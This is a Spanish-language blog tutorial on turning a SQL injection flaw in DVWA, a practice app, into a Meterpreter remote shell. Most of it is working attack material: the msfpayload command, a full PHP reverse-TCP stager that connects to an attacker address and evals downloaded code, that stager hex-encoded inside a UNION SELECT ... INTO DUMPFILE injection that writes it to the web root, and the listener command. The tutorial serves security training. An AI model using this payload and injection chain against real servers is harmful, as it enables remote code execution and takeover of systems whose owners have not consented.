Obtener una sesion meterpreter explotando SQL Injection


Hola hoy vamos a ver como obtener una sesión de meteperter explotando una vulnerabilidad SQL Injectión, para recrear este ejemplo vamos a utilizar DVWA.

 

Creamos el payload.

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=10000 R > payload.php

Crea el siguiente payload:

#<?php

error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '192.168.1.102';
$port = 10000;
$ipf = AF_INET;

if (FALSE !== strpos($ip, ":")) {
    # ipv6 requires brackets around the address
    $ip = "[". $ip ."]";
    $ipf = AF_INET6;
}

if (($f = 'stream_socket_client') && is_callable($f)) {
    $s = $f("tcp://{$ip}:{$port}");
    $s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
    $s = $f($ip, $port);
    $s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
    $s = $f($ipf, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) { die(); }
    $s_type = 'socket';
} else {
    die('no socket funcs');
}
if (!$s) { die('no socket'); }

switch ($s_type) { 
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
    # We failed on the main socket.  There's no way to continue, so
    # bail
    die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
    switch ($s_type) { 
    case 'stream': $b .= fread($s, $len-strlen($b)); break;
    case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
    }
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

Ahora este codigo lo tenemos que pasar la Hexadecimal. Para ello podéis emplear los multiples aplcaciones online que hay. Yo dejo las 2 que suelo usar:

http://ostermiller.org/calc/encode.html
http://www.seguridadwireless.net/php/conversor-universal-wireless.php

EL codigo quedaria algo así:

233c3f7068700a0a6572726f725f7265706f7274696e672830293b0a2320546865207061796c6f61642068616e646c6572206f766572777269746573207468697320776974682074686520636f7272656374204c484f5354206265666f72652073656e64696e670a2320697420746f207468652076696374696d2e0a246970203d20273139322e3136382e312e313032273b0a24706f7274203d2031303030303b0a24697066203d2041465f494e45543b0a0a6966202846414c534520213d3d20737472706f73282469702c20223a222929207b0a0923206970763620726571756972657320627261636b6574732061726f756e642074686520616464726573730a09246970203d20225b222e20246970202e225d223b0a0924697066203d2041465f494e4554363b0a7d0a0a69662028282466203d202773747265616d5f736f636b65745f636c69656e7427292026262069735f63616c6c61626c652824662929207b0a092473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b0a0924735f74797065203d202773747265616d273b0a7d20656c736569662028282466203d202766736f636b6f70656e27292026262069735f63616c6c61626c652824662929207b0a092473203d202466282469702c2024706f7274293b0a0924735f74797065203d202773747265616d273b0a7d20656c736569662028282466203d2027736f636b65745f63726561746527292026262069735f63616c6c61626c652824662929207b0a092473203d20246628246970662c20534f434b5f53545245414d2c20534f4c5f544350293b0a0924726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b0a0969662028212472657329207b2064696528293b207d0a0924735f74797065203d2027736f636b6574273b0a7d20656c7365207b0a0964696528276e6f20736f636b65742066756e637327293b0a7d0a6966202821247329207b2064696528276e6f20736f636b657427293b207d0a0a737769746368202824735f7479706529207b200a63617365202773747265616d273a20246c656e203d2066726561642824732c2034293b20627265616b3b0a636173652027736f636b6574273a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b0a7d0a6966202821246c656e29207b0a0923205765206661696c6564206f6e20746865206d61696e20736f636b65742e202054686572652773206e6f2077617920746f20636f6e74696e75652c20736f0a0923206261696c0a0964696528293b0a7d0a2461203d20756e7061636b28224e6c656e222c20246c656e293b0a246c656e203d2024615b276c656e275d3b0a0a2462203d2027273b0a7768696c6520287374726c656e28246229203c20246c656e29207b0a09737769746368202824735f7479706529207b200a0963617365202773747265616d273a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b0a09636173652027736f636b6574273a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b0a097d0a7d0a0a23205365742075702074686520736f636b657420666f7220746865206d61696e20737461676520746f207573652e0a24474c4f42414c535b276d7367736f636b275d203d2024733b0a24474c4f42414c535b276d7367736f636b5f74797065275d203d2024735f747970653b0a6576616c282462293b0a64696528293b

Ahora ejecutamos el siguiente comando comando:

' union select '',0x233c3f7068700a0a6572726f725f7265706f7274696e672830293b0a2320546865207061796c6f61642068616e646c6572206f766572777269746573207468697320776974682074686520636f7272656374204c484f5354206265666f72652073656e64696e670a2320697420746f207468652076696374696d2e0a246970203d20273139322e3136382e312e313032273b0a24706f7274203d2031303030303b0a24697066203d2041465f494e45543b0a0a6966202846414c534520213d3d20737472706f73282469702c20223a222929207b0a0923206970763620726571756972657320627261636b6574732061726f756e642074686520616464726573730a09246970203d20225b222e20246970202e225d223b0a0924697066203d2041465f494e4554363b0a7d0a0a69662028282466203d202773747265616d5f736f636b65745f636c69656e7427292026262069735f63616c6c61626c652824662929207b0a092473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b0a0924735f74797065203d202773747265616d273b0a7d20656c736569662028282466203d202766736f636b6f70656e27292026262069735f63616c6c61626c652824662929207b0a092473203d202466282469702c2024706f7274293b0a0924735f74797065203d202773747265616d273b0a7d20656c736569662028282466203d2027736f636b65745f63726561746527292026262069735f63616c6c61626c652824662929207b0a092473203d20246628246970662c20534f434b5f53545245414d2c20534f4c5f544350293b0a0924726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b0a0969662028212472657329207b2064696528293b207d0a0924735f74797065203d2027736f636b6574273b0a7d20656c7365207b0a0964696528276e6f20736f636b65742066756e637327293b0a7d0a6966202821247329207b2064696528276e6f20736f636b657427293b207d0a0a737769746368202824735f7479706529207b200a63617365202773747265616d273a20246c656e203d2066726561642824732c2034293b20627265616b3b0a636173652027736f636b6574273a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b0a7d0a6966202821246c656e29207b0a0923205765206661696c6564206f6e20746865206d61696e20736f636b65742e202054686572652773206e6f2077617920746f20636f6e74696e75652c20736f0a0923206261696c0a0964696528293b0a7d0a2461203d20756e7061636b28224e6c656e222c20246c656e293b0a246c656e203d2024615b276c656e275d3b0a0a2462203d2027273b0a7768696c6520287374726c656e28246229203c20246c656e29207b0a09737769746368202824735f7479706529207b200a0963617365202773747265616d273a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b0a09636173652027736f636b6574273a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b0a097d0a7d0a0a23205365742075702074686520736f636b657420666f7220746865206d61696e20737461676520746f207573652e0a24474c4f42414c535b276d7367736f636b275d203d2024733b0a24474c4f42414c535b276d7367736f636b5f74797065275d203d2024735f747970653b0a6576616c282462293b0a64696528293b into dumpfile '/opt/lampp/htdocs/uploads/payload.php'#

Nos quedamos escuchando para cuando se ejecuta el payload.

msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=10000 E

Ahora si nos vamos al sitio el cual hemos subido el payload ( /opt/lampp/htdocs/uploads/ ) y lo ejecutamos tendríamos que obtener la sesión meterpreter.

Si volvemos a la pantalla donde hemos dejado escuchando vemos que tenemos una sesión meterpreter.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*